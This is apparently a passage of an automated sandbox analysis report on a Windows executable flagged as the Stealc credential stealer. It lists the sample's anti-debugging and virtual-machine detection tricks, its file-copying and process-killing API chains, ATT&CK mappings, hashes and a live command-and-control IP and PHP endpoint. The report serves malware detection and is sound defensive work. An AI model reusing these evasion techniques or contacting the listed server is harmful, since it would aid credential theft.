Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297464 second address: 1297477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F5C21209546h 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007F5C21209546h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7174 second address: 12A7178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7BD9 second address: 12A7C07 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5C21209552h 0x00000008 jc 00007F5C21209548h 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 js 00007F5C2120954Eh 0x0000001a jc 00007F5C21209546h 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7C07 second address: 12A7C11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F5C20C5AC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7EB1 second address: 12A7EB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF436 second address: 12AF43C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF43C second address: 12AF440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF440 second address: 12AF444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF444 second address: 12AF491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F5C21209551h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jnp 00007F5C21209552h 0x00000018 jl 00007F5C2120954Ch 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F5C21209557h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF491 second address: 12AF495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF495 second address: 12AF49B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF49B second address: 12AF4A5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5C20C5AC3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B0DDF second address: 12B0E06 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F5C2120954Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F5C21209552h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B0E06 second address: 12B0E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 16404A3 second address: 16404A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 16404A9 second address: 16404DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F5C20C5AC48h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 pushad 0x00000012 movzx ecx, di 0x00000015 mov ah, bh 0x00000017 popad 0x00000018 mov dl, ch 0x0000001a popad 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 16404DE second address: 16404E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 16404E2 second address: 16404E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1640545 second address: 164054B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 164054B second address: 1640564 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5C20C5AC3Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1640564 second address: 1640573 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C2120954Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1BAA second address: 11D1BAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1DA4 second address: 11D1DAE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5C21209546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11C40A4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11EB851 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11CD6E4 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Evaded block: after key decision

graph_0-37668

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D440F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00D440F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00D3E530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D447C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00D447C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D3F7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D31710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D31710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00D3DB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D44B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D44B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D43B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00D43B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00D3BE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00D3EE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D3DF10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D31160 GetSystemInfo,ExitProcess,

0_2_00D31160

Source: file.exe, file.exe, 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1765760995.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1765760995.00000000016D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1765760995.000000000165E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36484
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36495
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36481
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36503
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36369
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36535

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D34610 VirtualProtect ?,00000004,00000100,00000000

0_2_00D34610

Source: C:\Users\user\Desktop\file.exe

0_2_00D49BB0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D49AA0 mov eax, dword ptr fs:[00000030h]

0_2_00D49AA0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D47690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,

0_2_00D47690

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6828, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D49790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00D49790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D498E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_00D498E0

Source: file.exe, file.exe, 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: U|Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D77588 cpuid

0_2_00D77588

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00D47D20

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D46BC0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00D46BC0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D479E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00D479E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D47BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00D47BC0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1765760995.000000000165E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1721174254.0000000005370000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1765760995.000000000165E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1721174254.0000000005370000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	334 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.php	true		unknown
http://185.215.113.206/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.phpS	file.exe, 00000000.00000002.1765760995.00000000016A4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php/	file.exe, 00000000.00000002.1765760995.00000000016B7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206	file.exe, 00000000.00000002.1765760995.000000000165E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.206/6c4adf523b719729.php/(	file.exe, 00000000.00000002.1765760995.00000000016B7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/:	file.exe, 00000000.00000002.1765760995.00000000016B7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/ws	file.exe, 00000000.00000002.1765760995.00000000016B7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/i	file.exe, 00000000.00000002.1765760995.00000000016B7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php5e	file.exe, 00000000.00000002.1765760995.00000000016A4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000003.1721174254.000000000539B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543701
Start date and time:	2024-10-28 09:23:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 124
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.959318094944891
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'129'920 bytes
MD5:	f522fe27067daea4f7987bf85ec1e287
SHA1:	d3179eac21c33134b326721db3eec7b7d1f1ac5f
SHA256:	3c60d4aebf5332d3a7fc6ea700f8ab74addba285246ba9cf94968a41cc11480a
SHA512:	bd8b7e3b0646b1aee43c00035bcc231e6e1cf63e0f8e43b5519d6a7f8e0ee52e7bb28e5654705ca12d27b3087dc271043403919bcfc00576528ae7cc89d2ac1d
SSDEEP:	49152:hdJZShKaSVB9Yo8UmDW9UhXYlgTdlO0uvWNICd35IvA9zMUy2zmRf2T1PzK:zCcr9Yo8VS9UhX4n81d35IWoP2z/z
TLSH:	A6A53395DFD0B839CC8E97F76E63539B3735F843EAE7C200BB511A309626A821362D15
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb2a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5C21B7875Ah
divps xmm4, dqword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [ecx], eax
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
